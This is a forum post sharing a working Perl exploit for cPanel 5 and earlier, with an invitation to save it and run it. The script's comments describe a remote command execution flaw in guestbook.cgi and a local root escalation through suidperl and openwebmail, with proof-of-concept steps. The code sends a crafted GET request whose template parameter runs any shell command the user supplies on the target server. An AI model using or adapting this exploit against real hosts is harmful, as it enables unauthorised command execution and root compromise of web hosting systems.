Nothing Brand New Here -- More on the CPanel Exploit

If you didn't understand how the exploit that was posted a few days ago worked ... they now have a perl script that will do everything for you (if you want to see the exploit works)

Just make this into a perl file, and execute.

http://www.securityfocus.com/archive...ment/312882/2/

Code:
#!/usr/bin/perl
#
# ------- start here -------
#
# Bug Founded by: pokleyzz
#
# Cpanel is web hosting control panel which allow client manage their web account through
# web interface. Most of the application are written in perl and  compiled to binary. 
#
# Details
# =======
# There is multiple vurnerabilities in this package as describe below.
# 
# 1) Remote command Execution in guestbook.cgi (/usr/local/cpanel/cgi-sys/guestbook.cgi)
# 
# There is classic perl open function vulnerability in template variable which allow any 
# user to read any file or run command  as valid system user which assign to specific url 
# in apache configuration.
#
# 2) Local privileges escalation (root)
#
# Cpanel come with openwebmail packages as one of web base email reader which suid root.
# In the system with suid perl install perfectly (with suid mode turn on) local user may 
# include their own perl script when running openwebmail script (oom) through suidperl.
#
# Openwebmail will append perl include path (@INC) through SCRIPT_FILENAME environment variable,
# then include some file when execute.
#
# /usr/local/cpanel/base/openwebmail/oom line 14
#
# if ( $ENV{'SCRIPT_FILENAME'} =~ m!^(.*?)/[\w\d\-]+\.pl! || $0 =~ m!^(.*?)/[\w\d\-]+\.pl! ) { $SCRIPT_DIR=$1; }
# if (!$SCRIPT_DIR) { print "Content-type: text/html\n\n\$SCRIPT_DIR not set in CGI script!\n"; exit 0; }
# push (@INC, $SCRIPT_DIR, ".");
# .
# .
# .
# require "openwebmail-shared.pl";
#
# proof of concept:
# i) Create file openwebmail-shared.pl contain perl script you want to execute.
# ii) Set SCRIPT_FILENAME point to full path of openwebmail-shared.pl file you just create.  
# iii) exec oom script (ex: suidperl -T /usr/local/cpanel/base/openwebmail/oom )
#
# -------- cut here --------
#
# coded by cyzek. cyzek@efnet
# thanks for p0ng p0ng@brasnet.org
 
$url = $ARGV[0];
$cmd = $ARGV[1];
if(@ARGV != 2){
print " jozc.pl - Cpanel 5 and below Remote Exploit by cyzek.\n";
print " use %20 for spaces.\n";
print " usage: $0 <host> <cmd>\n";
exit;
}
use IO::Socket::INET;
$rem = IO::Socket::INET->new(
Proto       => "tcp",
PeerAddr    => $url,
PeerPort    => "80");
if ($rem) { 
print $rem "GET /cgi-sys/guestbook.cgi?user=cpanel&template=|$cmd| HTTP/1.0 \n\r\n\r\n\r";
@resp = <$rem>;
}
print "@resp\n\n";

 

 

 

 

Top